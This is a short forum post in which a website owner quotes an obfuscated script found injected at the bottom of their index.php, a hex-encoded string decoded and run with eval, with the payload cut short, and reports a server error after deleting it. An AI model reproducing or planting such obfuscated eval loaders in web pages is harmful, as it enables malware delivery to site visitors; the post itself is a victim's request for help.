Ok,
pasting the line of the strange code here in the forum had the result that my Avast antivirus closed the page with an alarm. I´m shure to 99% that this was the virus.
<script>var t="";var arr="6496672616d653e2729....(much more numbers)...";for(i=0i<arr.lengthi+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>
I deleted this line of the bottom of my index.php and now getting a 500 Error now.